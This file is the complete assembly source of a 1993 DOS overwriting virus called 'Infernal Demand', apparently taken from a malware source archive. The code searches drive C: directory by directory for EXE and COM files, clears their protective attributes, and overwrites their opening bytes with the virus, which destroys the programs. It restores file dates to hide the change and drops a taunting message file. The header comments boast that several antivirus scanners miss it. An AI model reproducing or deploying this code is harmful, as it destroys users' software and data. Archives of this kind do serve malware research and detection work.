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https://github.com/vxunderground/MalwareSourceCode
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164 lines
6.2 KiB
NASM
164 lines
6.2 KiB
NASM
; VirusName: Infernal Demand
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; Country : Sweden
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; Author : Metal Militia / Immortal Riot
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; Date : 10/08/1993
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;
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;
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; This is our (Metal Militia's) very first scratch virus. It's just
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; an overwriting one. It overwrites the first 999 bytes in exe/com
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; files. (Write protected/hidden files are also "infected"). This (999)
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; isn't really the virus size, but the virus, is set to overwrite the
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; first 999 bytes. If the programs are less then 999 bytes, the virus
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; will overwrite it anyhow.
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;
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; When you starts this, the virus will make a file under your c:\
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; which is called "Infernal.ir". The file includes a rather nice
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; "poem" written by the person sitting behind the keys here..
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;
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; The "infected" files attributes (time/day), will be saved
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; and restored, the file-size will not be hidden, but anyway..
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;
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; It doesn't contain any encryption nor nuking routine, but
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; who cares about that for an overwriting virus?
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;
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; F-prot finds this is some trivial-shit, but it ain't!
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; Mcafee scan v108 and S&S Toolkit's FindViru can't find this
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;
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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; INFERNAL DEMAND
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; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
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cseg segment byte public
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assume cs:cseg, ds:cseg
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org 100h
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INFERNAL proc far
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start:
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mov ah,19h ; get current drive
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int 21h ;
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push ax ;
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mov ah,0Eh ;
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mov dl,02h ; drive C:
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int 21h
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great:
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mov dx,offset ExeMask ; offset 'EXEMASK'
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mov ah,4Eh ; find first
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int 21h ;
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jnc go_for_it ; jmp if no ERROR
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mov dx,offset ComMask ; offset 'COMMASK'
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mov ah,4Eh ; find first
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;
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again: ;
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int 21h ;
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jc chdir ; If ERROR change directory
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go_for_it:
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mov ax,4300h ; Get attribute of file
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mov dx,9eh ; Pointer to name in DTA
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int 21h ;
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push cx ; Push the attrib to stack
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mov ax,4301h ; Set attribute to
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xor cx,cx ; normal
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int 21h ;
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mov ax,3D02h ; Open file
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mov dx,9eh ; Pointer to name in DTA
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int 21h
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jc next ; if error, get next file
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xchg ax,bx ; Swap AX & BX
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; so the filehandle ends up
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; in BX
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mov ax,5700h ; Get file date
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int 21h ;
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push cx ; Save file dates
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push dx ;
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mov dx,100h ; Write code from 100h
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mov ah,40h ; to target file.
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mov cx,789 ; Write XXX bytes
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int 21h ;
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pop dx ; Get the saved
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pop cx ; filedates from the stack
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mov ax,5701h ; Set them back to the file
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int 21h ;
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mov ah,3Eh ; Close the file
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int 21h ;
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pop cx ; Restore the attribs from
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; the stack.
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mov dx,9eh ; Pointer to name in DTA
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mov ax,4301h ; Set them attributes back
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int 21h ;
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next:
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mov ah,4Fh ; now get the next file
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jmp short again ; and do it all over again
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chdir:
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mov ah,3ch
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mov cx,0
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mov dx,offset makeit
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int 21h
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xchg ax,bx
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mov ah,40h
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mov cx,meslen
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mov dx,offset note
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int 21h
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mov ah,3eh
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int 21h
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mov dx,offset updir ; offset 'updir'
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mov ah,3bh ; change directory
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int 21h
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jnc great ; jmp to great if no ERROR
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exit:
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pop dx ;
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mov ah,0Eh ; restore org. drive
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int 21h ;
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retn ; return to PROMPT
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ExeMask db '*.EXE',0
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ComMask db '*.COM',0
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Makeit db 'c:\infernal.ir',0
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UpDir db '..',0
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Note db 'Infernal Demand! '
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db '(c) Metal Militia / Immortal Riot '
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Dumpnote db ' ',0dh,0ah
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db 'Your misery is our pleasure! ',0dh,0ah
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db 'Your nightmare is our dream! ',0dh,0ah
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db 'Your hell is our paradise! ',0dh,0ah
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db 'Your lost is our demand! ',0dh,0ah
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db 'Your cry is our laugh! ',0dh,0ah
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db 'And your fate is ours!',0dh,0ah
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Meslen equ $-note
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INFERNAL endp
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cseg ends
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end start |